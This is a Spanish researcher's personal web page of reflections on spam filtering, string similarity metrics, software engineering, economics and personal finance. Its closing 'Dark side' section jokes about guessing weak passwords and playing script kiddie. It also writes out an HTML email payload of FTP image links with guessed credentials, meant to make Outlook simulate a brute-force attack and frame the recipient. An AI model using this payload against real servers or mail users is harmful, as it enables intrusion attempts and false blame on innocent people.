José Ramón Méndez Reboredo

:.:.  HOME  CURRÍCULUM REFLEXIONES  LINKS
                   PRIVADO   BLOG 
NOTICIAS .:
23/11/2006 El pasado 21 de Noviembre de 2006 se aprobaron en el Parlamento de Galicia las leyes de creación de un Colegio Profesional de Ingenieros Informáticos de Galicia y un Colegio para Ingenieros Técnicos en Informática de Galicia. Información aquí
27/06/2007 Este año se celebra el congreso Mocidade Investigadora pensado para todos aquellos que están empezando en la investigación y/o simplemente quieren saber como funciona este mundo.


moncho at sing.ei.uvigo.es

Powered by:



Google


:.

Reflexiones

¿Qué hay en esta página?

A lo largo de mi vida he ido recopilando un conjunto de heurísticas, o de conocimiento impreciso que deriva de la experiencia y que, en estas páginas, trataré de compartir con el mundo. Mis memorias no son tan buenas como las de Fuckowsky pero es que yo no soy tan bueno como él. Colocaré mis comentarios a medida que el tiempo me lo permita y clasificado en las siguientes áreas:


Spam y investigación

Esta zona está dedicada a mi investigación y al conocimiento del problema de los correos electrónicos spam y de las técnicas de aprendizaje automático.

Concept Drift

Los algoritmos de aprendizaje automático (redes neuronales, bayes, SVM, etc.) se fijan en características que coinciden en situaciones concretas para poder realizar tareas de clasificación. Por ejemplo, en spam es habitual que los mensajes contengan palabras como sex, pills y viagra. Los algoritmos de aprendizaje automático perciben y aprenden estas coincidencias.

En algunos problemas como el spam ocurre que las características representativas de una categoría varían con el paso del tiempo, de tal forma que características que aparecían en correos legítimos pasan con el tiempo ser representativas de spam y viceversa. Este fenómeno se conoce con el nombre de concept drift. No hace mucho tiempo que se envían mensajes spam publicitarios de "Rolex" pero en este momento, el término "Rolex" es muy representativo de spam.

Esto explica por qué hay que reentrenar cada cierto tiempo los filtros de mensajes spam basados en técnicas de aprendizaje automático.

Investigadores de todo el mundo conocen esta característica inherente al dominio del filtrado de correos spam y realizan trabajos de investigación para tratar de que los modelos de aprendizaje automático puedan contemplarlo. Por desgracia, a día de hoy no queda más remedio que seguir reentrenando los filtros cada cierto tiempo.

Comparación de textos y palabras

¿Cómo comparar textos? Si son exactamente iguales es muy fácil detectarlo. Sin embargo, dos textos que varíen en un único espacio en blanco pueden ser considerados diferentes si al compararlos se emplean las funciones de comparación que proporcionan los lenguajes de programación.

Entonces, pensarás, necesito pensar en formas de comparación que me permitan soportar pequeñas desviaciones del contenido original. Bueno, y buscando, en nuestro amigo Google se puede encontrar el enlace a String Similarity Metrics donde se relatan una serie de métricas propuestas en el ámbito científico para este tipo de comparaciones.

Asociado a String Similarity Metrics hay un proyecto opensource en Sourceforge que implementa muchas de estas métricas en el lenguaje de programación Java llamado Simmetrics. Muchas de estas métricas han sido diseñadas para la comparación de cadenas en ciertos ámbitos, como, por ejemplo, el ámbito de comparación de cadenas de ácidos nucleicos del genoma. Sin embargo, también se habla de trabajos en los que se proponen métricas para la comparación de cadenas de texto de lenguaje natural teniendo en cuenta variaciones fonéticas, etc. Así, por ejemplo, las comparaciones en base a q-grams (n-grams) pueden ser ideales para comparación de términos y textos en el ámbito del correo Spam.

¿Para qué uso yo las métricas? Pues muy sencillo, para eliminar correos electrónicos duplicados. Estoy probando varias, ahora estoy con Jaro y Jaro Winkler y funcionan bien.

Academic plagiarism

Como dato curioso decir que la distancia Levenshtein, que está implementada en el código de Simmetrics, está también implementada en PHP 3 y 4. Esta función podría dar buenos resultados para detectar plagios académicos. Lo que hace es buscar básicamente el número de cambios que hay que hacer en un documento para convertirlo en otro documento teniendo en cuenta que borrar o insertar y sustituir un caracter implica un cambio. Si hay menos cambios que la mitad del número de caracteres del documento mayor seguramente estés en un caso de plagio académico. Implementar esto es muy sencillo, e incluso se podría hacer un mecanismo de upload de prácticas que detectara automáticamente los plagios. En php:

  • int levenshtein (string str1, string str2)
  • int levenshtein (string str1, string str2, int cost_ins, int cost_rep, int cost_del)
  • int levenshtein (string str1, string str2, function cost)

Ahora sólo queda ver los resultados.


Ingeniería del Software y desarrollo de aplicaciones informáticas

En esta sección se recogen todas aquellas actitudes en torno al desarrollo del software que, bajo mi criterio, son malas. Además, trataré de proporcionar la visión que yo he adquirido de la ingeniería de software y de las buenas prácticas en ella.

Contratos con condiciones desfavorables para ingenieros y técnicos del software.

Muchas empresas de desarrollo de software creen erróneamente que proporcionar condiciones de trabajo desfavorables para los empleados conduce a mayores márgenes de beneficios. Pero...

¿Qué ocurre cuando un trabajador trabaja en esas condiciones?

  • El trabajador no está motivado y no rinde lo suficiente. Esto conduce a que los tiempos de construcción del software se alargan y el software construido se hace en general mal.
  • El trabajador considera el trabajo como un comodín que le permite ganar un poco de dinero mientras no encuentra algo mejor. Esto implica que en un determinado momento, se puede producir un abandono masivo de empleados de un proyecto echandolo todo al traste. Un proyecto con un margen de beneficio de un 50% de su importe, tras un abandono masivo de empleados puede producir retrasos y pérdidas económicas tan importantes que pueden suponer que el porcentaje del beneficio se convierta en negativo.

El coste del software en España

¿Por qué se dice que el coste del desarrollo del software en España es menor?. Seguramente todo el mundo se haya hecho esta pregunta. Yo me la hago día a día.

Después de mucho pensar la única explicación posible que se me ha ocurrido es que las empresas de software españolas trabajen con un margen de beneficios menor y se apoyen en diversas subvenciones concedidas por el estado para igualar el margen de beneficios con empresas de software de otros países.

La diferencia entre un Software Architect y un Arquitecto que diseña edificios

Siempre me he preguntado por qué se organizan concursos al mejor diseño de un edificio y no se hace lo propio con el diseño del software. ¿Será que los arquitectos aprenden de los ingenieros del software observando la mala calidad de nuestro trabajo o que los ingenieros del software no percibimos la basura de software que desarrollamos?. ¿Acaso un edificio se cae por un gusano, un virus o una rata? Resulta que el software sí y encima tenemos que asumir que es lo normal.

Yo me imagino el día que cuando se desee desarrollar un sofware, primero se ofrezca a concurso el diseño del software con un premio importante. Una vez escogido el mejor diseño por expertos en la materia, se llevaría a cabo la implementación del sistema por técnicos e ingenieros del software cualificados. Esto redundaría en una calidad del software impresionante y dejaría fuera de lugar a "timadores del software" que aparentan ser "amos del software" y que generan algo que se parece al software pero no puede ser considerado como tal.

Como las cosas no son asÍ, habrá que seguir con los "timadores del software" y con chapuzas como toda la generación de "trash-software" que se desarrolla hoy en día, empezando, por supuesto, por el penoso Sistema Operativo que usa la mayor parte de los habitantes de este planeta.

Software libre gratuito

Sofware libre y FreeSoftware son dos términos agrupados en un mismo bote por los usuarios de los ordenadores personales. Actualmente existen muchos productos de software libre que se distribuyen de forma gratuita entre los usuarios de ordenadores personales. Sin embargo el software libre no necesariamente tiene que ser gratis. Software libre significa que no se usará el actual modelo de licencias, lo cual implica una serie de ventajas.

Se entiende por software libre aquel que se vende o se distribuye con su código fuente de tal forma que el comprador puede personalizarlo, adaptarlo y mejorarlo. Este usuario puede vender la personalización, adaptación o mejora pero bajo las mismas condiciones que lo adquirió (es decir con el código fuente y con la posibilidad de que su cliente lo pueda personalizar, adaptar, mejorarlo y venderlo o redistribuirlo). El software libre es otra filosofía de negocio de software garantiza una distribución más equitativa de la riqueza evitando monopolios y además permite que el software tenga mayor calidad.

El precio de no planificar

A lo largo de mi vida he observado que muchos informáticos, ante la necesidad de construir un determinado softwrare, lo primero que hacen es coger un entorno de programación. Esta situación pasa tanto en los alumnos de las Universidades como en los profesionales de la empresa y no es deseable. La ausencia de planificación, la mala elección de estructuras de datos (pilar sobre el que se apoya la arquitectura del software) y la adopción de arquitecturas de software que no pueden representar completamente el problema convergen en una solución muy defectuosa.

Para lograr el funcionamiento de esta solución defectuosa, el informático agregará múltiples parches que contendrán nuevas estructuras de datos calculables a partir de la estructuras de datos originales por costosos procesos que no hubieran sido necesarios en el caso de haber planificado y/o procesos ineficientes porque las estructuras de datos se han escogido mal. La mejor opción, una vez que el informático se da cuenta de que lo ha hecho todo mal es arreglar ya que, deshechar toda la basura generada y empezar de nuevo no apetece.

Este tipo de situaciones es indeseable y puede llevar cualquier desarrollo de software al traste. Si finalmente el software llega a construirse su calidad será penosa y el tiempo empleado mucho mayor. Si el software hubiera sido planificado, eligiendo las estructuras de datos y la arquitectura de software más conveniente, estos problemas no habrían tenido lugar, el software desarrollado sería de gran calidad y el tiempo de construcción mínimo. Las compañías de sofware que desarrollan software bajo este modelo morirían si el software se vende como tal (en forma de código abierto). El actual modelo de licencias protege la intimidad de la basura de software desarrollada por las compañs y desarrolladoras que desarrollan software con este tipo de procedimientos, por eso la idea del sofware libre es una gran idea.


La economía bajo el punto de vista de un informático

Hay dos campos de la sabiduría que me atraen además de la informática. La primera son las reacciones químicas, y las teorías que las rodean. ¿Por qué si una reacción química desprende energía entonces se produce en ella una variación de masa?. Lo dice Einstein y es la base de la liberación de energía de las reacciones de fisión y fusión atómicas. Por otro lado, la economía y su funcionamiento es algo que ha llegado a ser muy interesante para mí. No sé nada de economía, de cierto, sólo soy un informático, sin embargo, me he creado mis propias nociones de ella que expongo aquí.

El ciclo del dinero

Lo que voy a contar aquí es algo conocido entre los expertos de esta ciencia y que, personalmente, me llama la atención. El dinero es como la energía, no se crea ni se destruye. La energía cambia de forma así como el dinero cambia de bolsillo o de caja fuerte. Seguramente pocas personas no expertas en economía se han parado a pensar en qué afecta este hecho o qué implica.

El movimiento del dinero es contínuo y necesario de tal forma que más movimientos y entre más personas (físicas o jurídicas) implican más bienestar y mejor economía. Cuando hay pocos movimientos del dinero, éste tiende a concentrarse en las personas que más recursos poseen (empresas enormes). Entender esto es tan sencillo como entender que cuando la empresa para la que trabajas remunera de forma generosa a un empleado X por tus servicios, X puede consumir más cantidad de servicios de otras empresas (cine, comodidad en su hogar, coches....) que a su vez, para proporcionarlos consumirán otros servicios de otras empresas ... y así sucesivamente. Si el empleado X tiene un salario bajo dificilmente accederá a servicios y con ello se provoca la parada del flujo económico.

Bueno, esta es mi visión, y tal vez haya algo que yo no haya tenido en cuenta en mi reflexión. Al fin y al cabo yo me dedico al software y a la investigación. Pero si esto es verdad, y no me equivoco en mi razonamiento, las PYMES (Pequeñas Y Medianas EmpresaS) que a día de hoy no se esfuercen en remunerar de forma adecuada a sus empleados podrían estar provocando un cuello de botella en la economía que redundaría en su perjuicio. Sin embargo, las grandes empresas (gigantes como BBVA), además de no verse afectadas por cuellos de botella en la economía, incluso les compensaría su existencia.

Finanzas personales: Fondos de inversión

Los fondos de inversión son siempre los productos ideales para invertir tus ahorros. Seguramente te has preguntado como funcionan. A continuación expongo las conclusiones que yo he obtenido de las inversiones que he realizado:

  • Fondos Dinero: Obtendrás una rentabilidad similar a la inversión de tu dinero en un depósito tradicional (1,10%) con la ventaja de que podrás disponer de tu dinero cuando quieras sin renunciar a la rentabilidad. A veces te puede compensar contratar una cuenta corriente de alta remuneración.
  • Fondos que invierten en bolsa: Estos fondos tratan de replicar un índice de un mercado conocido como el IBEX o el SP&P. Estos fondos son muy rentables (10%) pero deben ser combinados con periodos de inversión largos (más de 3 años). En periodos de inversión cortos es muy fácil que pierdas dinero. Por otro lado, no debes apostarlo todo sobre un Índice sino diversificar tu inversión repartiéndola en varios fondos de este tipo.
  • Fondos que invierten en propiedad inmobiliaria: Invierten en inmuebles para revender y/o alquilar y tienen una buena rentabilidad (5%). Bajo mi criterio tienen el problema de que si se produce la burbuja inmobiliaria, se puede perder mucho dinero. Aquí hay que invertir con mucha cautela y no colocar todos los ahorros.

Economía y Universidad

Aunque pueda parecer todo lo contrario, la economía y Universidad mantienen una estrecha relacción. La función de la Universidad es la investigación y el descubrimiento de nuevo conocimiento que será confiado en sus alumnos. De esta forma, sus alumnos crearán empresas o abrirán nuevas líneas de negocio en las empresas ya existentes. A su vez, las empresas y los alumnos generaran el movimiento económico

Normalmente se cree que la Universidad es sólo un sitio donde los estudiantes acuden para obtener un título universitario gastando, para ello, un cantidades importantes de dinero. Sin embargo, el dinero recaudado por la matrícula de una Universidad pública española habitualmente no es suficiente para cubrir los gastos de mantenimiento y comodidad de las instaciones donde se imparte la docencia. El resto del dinero lo asume el estado a través de los fondos recaudados por medio de los impuestos.

Los profesores de una Universidad son investigadores que además imparten docencia. La investigación es algo fundamental para el desarrollo económico de un pais, además de para crear la tecnología que nos da el bienestar.

La Universidad tiene la función de ser el motor económico y del bienestar de un pais entregando los resultados de la investigación a las empresas para que estas creen productos que venderán a terceros generando una mayor fortaleza económica.

Finanzas personales: Pequeños gastos cotidianos

Muchas veces ocurre que al llegar a fin de mes uno repara en los gastos que ha realizado para tratar de averiguar la razón por la cual el gasto se ha disparado. Al hacerlo lo normal es fijar la atención en gastos puntuales como el seguro del vehículo o la matrícula de la Universidad.

Sin embargo, muchos gastos de pequeña magnitud que se producen de forma habitual pueden implicar grandes gastos cuando el periodo de tiempo es amplio (un mes por ejemplo). Así, una persona que consuma 3 cafés al día de 80 céntimos de Euro (2.40 Euros diarios) durante los días laborables habra gastado 48 euros al mes en café. Traducido a pesetas españolas antiguas son 8000.

Otro gasto importante que nunca se tiene en cuenta a la hora de hacer las cuentas es la comida. Un español se gasta como mínimo la cantidad de 1 euro en cada comida. Haciendo un sencillo producto, cada español se gasta en comida como mínimo nada más y nada menos que 90 Euros (15000 pesetas antiguas). Recalco lo de como mínimo porque lo normal es que sea más.


Dark side

Esta sección está dedicada a descubrir mi lado más desconocido por todos. Es una sección corta pero... algo hay.

Sir hacker

A lo largo de mi vida he visto a personas sorprendidas porque conocía claves de servicios que correspondían a otros usuarios de la red. Es todo mentira. Siempre ha habido un usuario "v*l*" con clave "minombre", otro "m*c*d*" con clave "hola" y otro con login ******* y clave exactamente igual *******. Vamos, que no tiene ciencia ninguna encontrar una tripleta (usuario,pass,host) para conseguir entrar en equipos muy comprometidos.

Lo máximo que he hecho ha sido actuar de script kid (niño jugando con scripts). A día de hoy hay tanto software para hacer el mal que hacerlo es un juego de niños. En fin, juega y te divertirás :-D porque el que busca, encuentra.

Maldito Outlook

Cuando el correo era desconocido y cuando todas las ovejas del rebaño usaban Outlook sucedió algo. A un conocido le pasó algo malo. Siempre sospeché que tenía que ver con algo que yo había leido atrás en el tiempo.

En un correo electrónico MIME-MULTIPART se pueden insertar documentos HTML, con imágenes o con referencias a imágenes que están en un servidor http o ftp. Esto puede ser usado maliciosamente para elaborar un correo que simule un ataque por fuerza bruta a un servidor. Simplemente colocando unas cuantas referencias a imágenes en un servidor FTP con claves de usuario diferentes, el Outlook simularía un ataque al servidor FTP. Por su parte los sistemas IDS (Intrussion Detection Systems) de la red del servidor FTP detectarían rápidamente el ataque e identificarían al receptor del mensaje de correo electrónico como culpable

He aquí el contenido HTML que al ser cargado por el Outlook simularía el ataque:
<img src="ftp://manolo:aaaaaaa@ftp.servidorAtacado.xxx/img/a.gif" width="1" height="1">
<img src="ftp://manolo:aaaaaab@ftp.servidorAtacado.xxx/img/a.gif" width="1" height="1">
<img src="ftp://manolo:aaaaaac@ftp.servidorAtacado.xxx/img/a.gif" width="1" height="1">
<img src="ftp://manolo:aaaaaad@ftp.servidorAtacado.xxx/img/a.gif" width="1" height="1">
<img src="ftp://manolo:aaaaaae@ftp.servidorAtacado.xxx/img/a.gif" width="1" height="1">
<img src="ftp://manolo:aaaaaaf@ftp.servidorAtacado.xxx/img/a.gif" width="1" height="1">
<img src="ftp://manolo:aaaaaag@ftp.servidorAtacado.xxx/img/a.gif" width="1" height="1">
Esto hay que repetirlo unas cuantas veces más para que el IDS se de cuenta de que se está produciendo un ataque.

Lo que yo creo sobre lo que le sucedió a aquel conocido sólo son sospechas y con ellas me quedaré eternamente.

© 2003 José Ramón Méndez Reboredo.